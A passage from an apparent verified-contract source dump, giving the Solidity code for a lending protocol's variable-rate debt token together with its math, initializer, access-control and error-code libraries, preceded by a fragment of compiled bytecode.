60045260246000fd5b6000821982111561102957611029611000565b500190565b600060001982141561104257611042611000565b5060010190565b60005b8381101561106457818101518382015260200161104c565b83811115611073576000848401525b50505050565b6000825161108b818460208701611049565b9190910192915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008152600083516110cd816017850160208801611049565b7001034b99036b4b9b9b4b733903937b6329607d1b60179184019182015283516110fe816028840160208801611049565b01602801949350505050565b6020815260008251806020840152611129816040850160208701611049565b601f01601f19169190910160400192915050565b600081600019048311821515161561115757611157611000565b500290565b60008161116b5761116b611000565b506000190190565b634e487b7160e01b600052602160045260246000fdfea164736f6c634300080c000a
[ 38 ]
0xF250776295533583775a34f46fb89ED8C28045a1
// SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../dependencies/openzeppelin/contracts/IERC20.sol'; import '../../interfaces/IVariableDebtToken.sol'; import '../../tools/math/WadRayMath.sol'; import '../../tools/upgradeability/VersionedInitializable.sol'; import './interfaces/PoolTokenConfig.sol'; import './base/PoolTokenBase.sol'; import './base/DebtTokenBase.sol'; import '../../tools/tokens/ERC20DetailsBase.sol'; /** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode **/ contract VariableDebtToken is DebtTokenBase, VersionedInitializable, IVariableDebtToken { using WadRayMath for uint256; constructor() PoolTokenBase(address(0), address(0)) ERC20DetailsBase('', '', 0) {} uint256 private constant DEBT_TOKEN_REVISION = 0x1; function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } function initialize( PoolTokenConfig calldata config, string calldata name, string calldata symbol, bytes calldata params ) external override initializerRunAlways(DEBT_TOKEN_REVISION) { if (isRevisionInitialized(DEBT_TOKEN_REVISION)) { _initializeERC20(name, symbol, super.decimals()); } else { _initializeERC20(name, symbol, config.underlyingDecimals); _initializePoolToken(config, params); } emit Initialized( config.underlyingAsset, address(config.pool), address(0), super.name(), super.symbol(), super.decimals(), params ); } function getScaleIndex() public view override returns (uint256) { return _pool.getReserveNormalizedVariableDebt(_underlyingAsset); } function balanceOf(address user) public view virtual override returns (uint256) { uint256 scaledBalance = internalBalanceOf(user); if (scaledBalance == 0) { return 0; } return scaledBalance.rayMul(getScaleIndex()); } function rewardedBalanceOf(address user) external view override returns (uint256) { return balanceOf(user); } function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool firstBalance) { if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } firstBalance = internalBalanceOf(onBehalfOf) == 0; uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mintBalance(onBehalfOf, amountScaled, index); emit Transfer(address(0), onBehalfOf, amount); emit Mint(user, onBehalfOf, amount, index); return firstBalance; } function burn( address user, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burnBalance(user, amountScaled, 0, index); emit Transfer(user, address(0), amount); emit Burn(user, amount, index); } function scaledBalanceOf(address user) public view virtual override returns (uint256) { return internalBalanceOf(user); } function totalSupply() public view virtual override returns (uint256) { return super.totalSupply().rayMul(getScaleIndex()); } function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (internalBalanceOf(user), super.totalSupply()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; /** * @dev Interface of the ERC20 standard as defined in the EIP excluding events to avoid linearization issues. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './IScaledBalanceToken.sol'; import '../dependencies/openzeppelin/contracts/IERC20.sol'; import './IPoolToken.sol'; /// @dev Defines the basic interface for a variable debt token. interface IVariableDebtToken is IPoolToken, IScaledBalanceToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param onBehalfOf The address of the user on which behalf minting has been performed * @param value The amount to be minted * @param index The last index of the reserve **/ event Mint(address indexed from, address indexed onBehalfOf, uint256 value, uint256 index); /// @dev Mints debt token to the `onBehalfOf` address. Returns `true` when balance of the `onBehalfOf` was 0 function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted when variable debt is burnt * @param user The user which debt has been burned * @param amount The amount of debt being burned * @param index The index of the user **/ event Burn(address indexed user, uint256 amount, uint256 index); /// @dev Burns user variable debt function burn( address user, uint256 amount, uint256 index ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../Errors.sol'; /// @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) library WadRayMath { uint256 internal constant WAD = 1e18; uint256 internal constant halfWAD = WAD / 2; uint256 internal constant RAY = 1e27; uint256 internal constant halfRAY = RAY / 2; uint256 internal constant WAD_RAY_RATIO = 1e9; /// @return One ray, 1e27 function ray() internal pure returns (uint256) { return RAY; } /// @return One wad, 1e18 function wad() internal pure returns (uint256) { return WAD; } /// @return Half ray, 1e27/2 function halfRay() internal pure returns (uint256) { return halfRAY; } /// @return Half ray, 1e18/2 function halfWad() internal pure returns (uint256) { return halfWAD; } /// @dev Multiplies two wad, rounding half up to the nearest wad function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfWAD) / WAD; } /// @dev Divides two wad, rounding half up to the nearest wad function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * WAD + halfB) / b; } /// @dev Multiplies two ray, rounding half up to the nearest ray function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfRAY) / RAY; } /// @dev Divides two ray, rounding half up to the nearest ray function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * RAY + halfB) / b; } /// @dev Casts ray down to wad function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = WAD_RAY_RATIO / 2; uint256 result = halfRatio + a; require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); return result / WAD_RAY_RATIO; } /// @dev Converts wad up to ray function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * WAD_RAY_RATIO; require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW); return result; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; /** * @title VersionedInitializable * * @dev Helper contract to implement versioned initializer functions. To use it, replace * the constructor with a function that has the `initializer` or `initializerRunAlways` modifier. * The revision number should be defined as a private constant, returned by getRevision() and used by initializer() modifier. * * ATTN: There is a built-in protection from implementation self-destruct exploits. This protection * prevents initializers from being called on an implementation inself, but only on proxied contracts. * To override this protection, call _unsafeResetVersionedInitializers() from a constructor. * * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an initializable contract, as well * as extending an initializable contract via inheritance. * * ATTN: When used with inheritance, parent initializers with `initializer` modifier are prevented by calling twice, * but can only be called in child-to-parent sequence. * * WARNING: When used with inheritance, parent initializers with `initializerRunAlways` modifier * are NOT protected from multiple calls by another initializer. */ abstract contract VersionedInitializable { uint256 private constant BLOCK_REVISION = type(uint256).max; // This revision number is applied to implementations uint256 private constant IMPL_REVISION = BLOCK_REVISION - 1; /// @dev Indicates that the contract has been initialized. The default value blocks initializers from being called on an implementation. uint256 private lastInitializedRevision = IMPL_REVISION; /// @dev Indicates that the contract is in the process of being initialized. uint256 private lastInitializingRevision = 0; /** * @dev There is a built-in protection from self-destruct of implementation exploits. This protection * prevents initializers from being called on an implementation inself, but only on proxied contracts. * Function _unsafeResetVersionedInitializers() can be called from a constructor to disable this protection. * It must be called before any initializers, otherwise it will fail. */ function _unsafeResetVersionedInitializers() internal { require(isConstructor(), 'only for constructor'); if (lastInitializedRevision == IMPL_REVISION) { lastInitializedRevision = 0; } else { require(lastInitializedRevision == 0, 'can only be called before initializer(s)'); } } /// @dev Modifier to use in the initializer function of a contract. modifier initializer(uint256 localRevision) { (uint256 topRevision, bool initializing, bool skip) = _preInitializer(localRevision); if (!skip) { lastInitializingRevision = localRevision; _; lastInitializedRevision = localRevision; } if (!initializing) { lastInitializedRevision = topRevision; lastInitializingRevision = 0; } } modifier initializerRunAlways(uint256 localRevision) { (uint256 topRevision, bool initializing, bool skip) = _preInitializer(localRevision); if (!skip) { lastInitializingRevision = localRevision; } _; if (!skip) { lastInitializedRevision = localRevision; } if (!initializing) { lastInitializedRevision = topRevision; lastInitializingRevision = 0; } } function _preInitializer(uint256 localRevision) private returns ( uint256 topRevision, bool initializing, bool skip ) { topRevision = getRevision(); require(topRevision < IMPL_REVISION, 'invalid contract revision'); require(localRevision > 0, 'incorrect initializer revision'); require(localRevision <= topRevision, 'inconsistent contract revision'); if (lastInitializedRevision < IMPL_REVISION) { // normal initialization initializing = lastInitializingRevision > 0 && lastInitializedRevision < topRevision; require(initializing || isConstructor() || topRevision > lastInitializedRevision, 'already initialized'); } else { // by default, initialization of implementation is only allowed inside a constructor require(lastInitializedRevision == IMPL_REVISION && isConstructor(), 'initializer blocked'); // enable normal use of initializers inside a constructor lastInitializedRevision = 0; // but make sure to block initializers afterwards topRevision = BLOCK_REVISION; initializing = lastInitializingRevision > 0; } if (initializing) { require(lastInitializingRevision > localRevision, 'incorrect order of initializers'); } if (localRevision <= lastInitializedRevision) { // prevent calling of parent's initializer when it was called before if (initializing) { // Can't set zero yet, as it is not a top-level call, otherwise `initializing` will become false. // Further calls will fail with the `incorrect order` assertion above. lastInitializingRevision = 1; } return (topRevision, initializing, true); } return (topRevision, initializing, false); } function isRevisionInitialized(uint256 localRevision) internal view returns (bool) { return lastInitializedRevision >= localRevision; } // solhint-disable-next-line func-name-mixedcase function REVISION() public pure returns (uint256) { return getRevision(); } /** * @dev returns the revision number (< type(uint256).max - 1) of the contract. * The number should be defined as a private constant. **/ function getRevision() internal pure virtual returns (uint256); /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(address()) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[4] private ______gap; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; struct PoolTokenConfig { // Address of the associated lending pool address pool; // Address of the treasury address treasury; // Address of the underlying asset address underlyingAsset; // Decimals of the underlying asset uint8 underlyingDecimals; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../../tools/Errors.sol'; import '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import '../../../tools/tokens/ERC20DetailsBase.sol'; import '../../../interfaces/IPoolToken.sol'; import '../../../interfaces/ILendingPoolForTokens.sol'; import '../../../interfaces/IRewardedToken.sol'; import '../../../access/AccessHelper.sol'; import '../../../access/AccessFlags.sol'; import '../../../access/MarketAccessBitmask.sol'; import '../../../access/interfaces/IMarketAccessController.sol'; import '../interfaces/IInitializablePoolToken.sol'; import '../interfaces/PoolTokenConfig.sol'; abstract contract PoolTokenBase is IERC20, IPoolToken, IInitializablePoolToken, IRewardedToken, ERC20DetailsBase, MarketAccessBitmaskMin { using AccessHelper for IMarketAccessController; event Transfer(address indexed from, address indexed to, uint256 value); ILendingPoolForTokens internal _pool; address internal _underlyingAsset; constructor(address pool_, address underlyingAsset_) MarketAccessBitmaskMin( pool_ != address(0) ? ILendingPoolForTokens(pool_).getAccessController() : IMarketAccessController(address(0)) ) { _pool = ILendingPoolForTokens(pool_); _underlyingAsset = underlyingAsset_; } function _initializePoolToken(PoolTokenConfig memory config, bytes calldata params) internal virtual { params; _pool = ILendingPoolForTokens(config.pool); _underlyingAsset = config.underlyingAsset; _remoteAcl = ILendingPoolForTokens(config.pool).getAccessController(); } function _onlyLendingPool() private view { require(msg.sender == address(_pool), Errors.CALLER_NOT_LENDING_POOL); } modifier onlyLendingPool() { _onlyLendingPool(); _; } function _onlyLendingPoolConfiguratorOrAdmin() private view { _remoteAcl.requireAnyOf( msg.sender, AccessFlags.POOL_ADMIN | AccessFlags.LENDING_POOL_CONFIGURATOR, Errors.CALLER_NOT_POOL_ADMIN ); } modifier onlyLendingPoolConfiguratorOrAdmin() { _onlyLendingPoolConfiguratorOrAdmin(); _; } function updatePool() external override onlyLendingPoolConfiguratorOrAdmin { address pool = _remoteAcl.getLendingPool(); require(pool != address(0), Errors.LENDING_POOL_REQUIRED); _pool = ILendingPoolForTokens(pool); } // solhint-disable-next-line func-name-mixedcase function UNDERLYING_ASSET_ADDRESS() public view override returns (address) { return _underlyingAsset; } // solhint-disable-next-line func-name-mixedcase function POOL() public view override returns (address) { return address(_pool); } function setIncentivesController(address hook) external override onlyRewardConfiguratorOrAdmin { internalSetIncentivesController(hook); } function internalBalanceOf(address account) internal view virtual returns (uint256); function internalBalanceAndFlagsOf(address account) internal view virtual returns (uint256, uint32); function internalSetFlagsOf(address account, uint32 flags) internal virtual; function internalSetIncentivesController(address hook) internal virtual; function totalSupply() public view virtual override returns (uint256) { return internalTotalSupply(); } function internalTotalSupply() internal view virtual returns (uint256); function _mintBalance( address account, uint256 amount, uint256 scale ) internal { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); internalUpdateTotalSupply(internalTotalSupply() + amount); internalIncrementBalance(account, amount, scale); } function _burnBalance( address account, uint256 amount, uint256 minLimit, uint256 scale ) internal { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); internalUpdateTotalSupply(internalTotalSupply() - amount); internalDecrementBalance(account, amount, minLimit, scale); } function _transferBalance( address sender, address recipient, uint256 amount, uint256 senderMinLimit, uint256 scale ) internal { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); if (sender != recipient) { // require(oldSenderBalance >= amount, 'ERC20: transfer amount exceeds balance'); internalDecrementBalance(sender, amount, senderMinLimit, scale); internalIncrementBalance(recipient, amount, scale); } } function _incrementBalanceWithTotal( address account, uint256 amount, uint256 scale, uint256 total ) internal { internalUpdateTotalSupply(total); internalIncrementBalance(account, amount, scale); } function _decrementBalanceWithTotal( address account, uint256 amount, uint256 scale, uint256 total ) internal { internalUpdateTotalSupply(total); internalDecrementBalance(account, amount, 0, scale); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function internalIncrementBalance( address account, uint256 amount, uint256 scale ) internal virtual; function internalDecrementBalance( address account, uint256 amount, uint256 senderMinLimit, uint256 scale ) internal virtual; function internalUpdateTotalSupply(uint256 newTotal) internal virtual; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../../tools/Errors.sol'; import '../../../interfaces/ICreditDelegationToken.sol'; import '../../../tools/tokens/ERC20NoTransferBase.sol'; import './RewardedTokenBase.sol'; /// @dev Base contract for a non-transferrable debt tokens: StableDebtToken and VariableDebtToken abstract contract DebtTokenBase is RewardedTokenBase, ERC20NoTransferBase, ICreditDelegationToken { mapping(address => mapping(address => uint256)) internal _borrowAllowances; /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function approveDelegation(address delegatee, uint256 amount) external override { _borrowAllowances[msg.sender][delegatee] = amount; emit BorrowAllowanceDelegated(msg.sender, delegatee, _underlyingAsset, amount); } /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view override returns (uint256) { return _borrowAllowances[fromUser][toUser]; } function _decreaseBorrowAllowance( address delegator, address delegatee, uint256 amount ) internal { uint256 limit = _borrowAllowances[delegator][delegatee]; require(limit >= amount, Errors.BORROW_ALLOWANCE_NOT_ENOUGH); unchecked { limit -= amount; } _borrowAllowances[delegator][delegatee] = limit; emit BorrowAllowanceDelegated(delegator, delegatee, _underlyingAsset, limit); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './IERC20Details.sol'; abstract contract ERC20DetailsBase is IERC20Details { string private _name; string private _symbol; uint8 private _decimals; constructor( string memory name_, string memory symbol_, uint8 decimals_ ) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function _initializeERC20( string memory name_, string memory symbol_, uint8 decimals_ ) internal { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IScaledBalanceToken { /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view returns (uint256); /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256); /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return The scaled total supply **/ function scaledTotalSupply() external view returns (uint256); function getScaleIndex() external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './IDerivedToken.sol'; // solhint-disable func-name-mixedcase interface IPoolToken is IDerivedToken { function POOL() external view returns (address); function updatePool() external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; // solhint-disable func-name-mixedcase interface IDerivedToken { /** * @dev Returns the address of the underlying asset of this token (E.g. WETH for agWETH) **/ function UNDERLYING_ASSET_ADDRESS() external view returns (address); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; /** * @title Errors library * @notice Defines the error messages emitted by the different contracts * @dev Error messages prefix glossary: * - VL = ValidationLogic * - MATH = Math libraries * - CT = Common errors between tokens (DepositToken, VariableDebtToken and StableDebtToken) * - AT = DepositToken * - SDT = StableDebtToken * - VDT = VariableDebtToken * - LP = LendingPool * - LPAPR = AddressesProviderRegistry * - LPC = LendingPoolConfiguration * - RL = ReserveLogic * - LPCM = LendingPoolExtension * - ST = Stake */ library Errors { //contract specific errors string public constant VL_INVALID_AMOUNT = '1'; // Amount must be greater than 0 string public constant VL_NO_ACTIVE_RESERVE = '2'; // Action requires an active reserve string public constant VL_RESERVE_FROZEN = '3'; // Action cannot be performed because the reserve is frozen string public constant VL_UNKNOWN_RESERVE = '4'; // Action requires an active reserve string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // User cannot withdraw more than the available balance (above min limit) string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // Transfer cannot be allowed. string public constant VL_BORROWING_NOT_ENABLED = '7'; // Borrowing is not enabled string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // Invalid interest rate mode selected string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // The collateral balance is 0 string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // Health factor is lesser than the liquidation threshold string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // There is not enough collateral to cover a new borrow string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // The requested amount is exceeds max size of a stable loan string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // to repay a debt, user needs to specify a correct debt type (variable or stable) string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // To repay on behalf of an user an explicit amount to repay is needed string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // User does not have a stable rate loan in progress on this reserve string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // User does not have a variable rate loan in progress on this reserve string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // The collateral balance needs to be greater than 0 string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // User deposit is already being used as collateral string public constant VL_RESERVE_MUST_BE_COLLATERAL = '21'; // This reserve must be enabled as collateral string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // Interest rate rebalance conditions were not met string public constant AT_OVERDRAFT_DISABLED = '23'; // User doesn't accept allocation of overdraft string public constant VL_INVALID_SUB_BALANCE_ARGS = '24'; string public constant AT_INVALID_SLASH_DESTINATION = '25'; string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // The caller of the function is not the lending pool configurator string public constant LENDING_POOL_REQUIRED = '28'; // The caller of this function must be a lending pool string public constant CALLER_NOT_LENDING_POOL = '29'; // The caller of this function must be a lending pool string public constant AT_SUB_BALANCE_RESTIRCTED_FUNCTION = '30'; // The caller of this function must be a lending pool or a sub-balance operator string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // Reserve has already been initialized string public constant CALLER_NOT_POOL_ADMIN = '33'; // The caller must be the pool admin string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // The liquidity of the reserve needs to be 0 string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // Provider is not registered string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // Health factor is not below the threshold string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // The collateral chosen cannot be liquidated string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // User did not borrow the specified currency string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // There isn't enough liquidity available to liquidate string public constant MATH_MULTIPLICATION_OVERFLOW = '48'; string public constant MATH_ADDITION_OVERFLOW = '49'; string public constant MATH_DIVISION_BY_ZERO = '50'; string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128 string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128 string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint string public constant CALLER_NOT_STAKE_ADMIN = '57'; string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small string public constant CALLER_NOT_LIQUIDITY_CONTROLLER = '60'; string public constant CALLER_NOT_REF_ADMIN = '61'; string public constant VL_INSUFFICIENT_REWARD_AVAILABLE = '62'; string public constant LP_CALLER_MUST_BE_DEPOSIT_TOKEN = '63'; string public constant LP_IS_PAUSED = '64'; // Pool is paused string public constant LP_NO_MORE_RESERVES_ALLOWED = '65'; string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66'; string public constant RC_INVALID_LTV = '67'; string public constant RC_INVALID_LIQ_THRESHOLD = '68'; string public constant RC_INVALID_LIQ_BONUS = '69'; string public constant RC_INVALID_DECIMALS = '70'; string public constant RC_INVALID_RESERVE_FACTOR = '71'; string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72'; string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73'; string public constant VL_TREASURY_REQUIRED = '74'; string public constant LPC_INVALID_CONFIGURATION = '75'; // Invalid risk parameters for the reserve string public constant CALLER_NOT_EMERGENCY_ADMIN = '76'; // The caller must be the emergency admin string public constant UL_INVALID_INDEX = '77'; string public constant VL_CONTRACT_REQUIRED = '78'; string public constant SDT_STABLE_DEBT_OVERFLOW = '79'; string public constant SDT_BURN_EXCEEDS_BALANCE = '80'; string public constant CALLER_NOT_REWARD_CONFIG_ADMIN = '81'; // The caller of this function must be a reward admin string public constant LP_INVALID_PERCENTAGE = '82'; // Percentage can't be more than 100% string public constant LP_IS_NOT_TRUSTED_FLASHLOAN = '83'; string public constant CALLER_NOT_SWEEP_ADMIN = '84'; string public constant LP_TOO_MANY_NESTED_CALLS = '85'; string public constant LP_RESTRICTED_FEATURE = '86'; string public constant LP_TOO_MANY_FLASHLOAN_CALLS = '87'; string public constant RW_BASELINE_EXCEEDED = '88'; string public constant CALLER_NOT_REWARD_RATE_ADMIN = '89'; string public constant CALLER_NOT_REWARD_CONTROLLER = '90'; string public constant RW_REWARD_PAUSED = '91'; string public constant CALLER_NOT_TEAM_MANAGER = '92'; string public constant STK_REDEEM_PAUSED = '93'; string public constant STK_INSUFFICIENT_COOLDOWN = '94'; string public constant STK_UNSTAKE_WINDOW_FINISHED = '95'; string public constant STK_INVALID_BALANCE_ON_COOLDOWN = '96'; string public constant STK_EXCESSIVE_SLASH_PCT = '97'; string public constant STK_WRONG_COOLDOWN_OR_UNSTAKE = '98'; string public constant STK_PAUSED = '99'; string public constant TXT_OWNABLE_CALLER_NOT_OWNER = 'Ownable: caller is not the owner'; string public constant TXT_CALLER_NOT_PROXY_OWNER = 'ProxyOwner: caller is not the owner'; string public constant TXT_ACCESS_RESTRICTED = 'RESTRICTED'; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../access/interfaces/IMarketAccessController.sol'; import '../protocol/libraries/types/DataTypes.sol'; interface ILendingPoolForTokens { /** * @dev Validates and finalizes an depositToken transfer * - Only callable by the overlying depositToken of the `asset` * @param asset The address of the underlying asset of the depositToken * @param from The user from which the depositToken are transferred * @param to The user receiving the depositToken * @param lastBalanceFrom True when from's balance was non-zero and became zero * @param firstBalanceTo True when to's balance was zero and became non-zero */ function finalizeTransfer( address asset, address from, address to, bool lastBalanceFrom, bool firstBalanceTo ) external; function getAccessController() external view returns (IMarketAccessController); function getReserveNormalizedIncome(address asset) external view returns (uint256); function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function getReservesList() external view returns (address[] memory); function setReservePaused(address asset, bool paused) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IRewardedToken { function setIncentivesController(address) external; function getIncentivesController() external view returns (address); function rewardedBalanceOf(address) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './interfaces/IRemoteAccessBitmask.sol'; /// @dev Helper/wrapper around IRemoteAccessBitmask library AccessHelper { function getAcl(IRemoteAccessBitmask remote, address subject) internal view returns (uint256) { return remote.queryAccessControlMask(subject, ~uint256(0)); } function queryAcl( IRemoteAccessBitmask remote, address subject, uint256 filterMask ) internal view returns (uint256) { return remote.queryAccessControlMask(subject, filterMask); } function hasAnyOf( IRemoteAccessBitmask remote, address subject, uint256 flags ) internal view returns (bool) { uint256 found = queryAcl(remote, subject, flags); return found & flags != 0; } function hasAny(IRemoteAccessBitmask remote, address subject) internal view returns (bool) { return remote.queryAccessControlMask(subject, 0) != 0; } function hasNone(IRemoteAccessBitmask remote, address subject) internal view returns (bool) { return remote.queryAccessControlMask(subject, 0) == 0; } function requireAnyOf( IRemoteAccessBitmask remote, address subject, uint256 flags, string memory text ) internal view { require(hasAnyOf(remote, subject, flags), text); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; library AccessFlags { // roles that can be assigned to multiple addresses - use range [0..15] uint256 public constant EMERGENCY_ADMIN = 1 << 0; uint256 public constant POOL_ADMIN = 1 << 1; uint256 public constant TREASURY_ADMIN = 1 << 2; uint256 public constant REWARD_CONFIG_ADMIN = 1 << 3; uint256 public constant REWARD_RATE_ADMIN = 1 << 4; uint256 public constant 